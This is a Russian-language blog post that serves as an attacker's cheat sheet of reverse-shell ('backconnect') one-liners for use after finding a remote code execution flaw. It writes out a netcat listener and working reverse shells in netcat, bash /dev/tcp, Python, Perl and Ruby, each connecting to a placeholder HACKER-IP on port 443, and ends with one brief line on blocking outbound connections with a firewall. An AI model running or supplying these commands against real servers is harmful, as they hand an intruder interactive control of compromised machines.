Раз уж речь зашла о бэкконнектах, то думаю не плохо было бы знать, где и как их можно применить.
В общем, когда ты нашёл уязвимость с возможностью выполнения произвольного кода (RCE), то не плохо было бы иметь под рукой шпаргалку (а ещё лучше помнить!) по выполнению бэкконнекта на «свой» сервер.Если это веб-приложение и администратор правильно не отконфигурировал интерпретатор и не запретил выполнение системных функций (вызовов), то самое время вспомнить про то, что необходимо выполнить быкконект на свой сервер для более удобной работы. Итак, мой «топ», который я использую в повседневной жизни:

Классика жанра — netcat
Необходим на сервере хакера в качестве принимающей стороны, то есть, открывает определенный порт на определенном IP для входящего соединения со стороны атакуемого сервера:

$ nc -nvlp 443

Данная команда открывает 443 TCP-порт на всех интерфейсах, и далее в примерах будет использоваться именно этот порт.
Также с помощью netcat можно сделать и бэкконнект:

Netcat

$ nc -e /bin/sh HACKER-IP 443

На мой взгляд, это самый классический пример бэкконнекта, но в современных реалиях, netcat может быть просто не установлен на сервере

Bash

$ bash -i >& /dev/tcp/HACKER-IP/443 0>&1

*А этот пример, на мой взгляд самый опасный, т.к. по сути кроме интерпретатора bash(sh,ksh,zsh,etc…) не требует никакого дополнительного софта, а нужен только доступ к подсистеме dev

 
Python

$ python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«HACKER-IP«,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’

*В современных дистрибутивах Python присутствует почти всегда, и стандартной библиотеки вполне хватит, чтобы совершить бэкконнект

Perl

$ perl -e ‘use Socket;$i=»HACKER-IP«;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’

*Также как и Python, почти во всех современных дистрибутивах Linux присутствует в системе Perl

Ruby

$ ruby -rsocket -e’f=TCPSocket.open(«HACKER-IP«,443).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’

*Ruby на современных Linux дистрибутивах встречается, но гораздо реже, чем Python и Perl

Как с этим бороться?
Контролируйте все исходящие соединения от сервера средствами встроенного фаервола, оставьте доступ только к необходимым IP-адресам и портам, оставльное необходимо блокировать — это самое простое, проверенное, и эффективное решение.

Добавить комментарий

Заполните поля или щелкните по значку, чтобы оставить свой комментарий:

Логотип WordPress.com

Для комментария используется ваша учётная запись WordPress.com. Выход /  Изменить )

Google+ photo

Для комментария используется ваша учётная запись Google+. Выход /  Изменить )

Фотография Twitter

Для комментария используется ваша учётная запись Twitter. Выход /  Изменить )

Фотография Facebook

Для комментария используется ваша учётная запись Facebook. Выход /  Изменить )

w

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.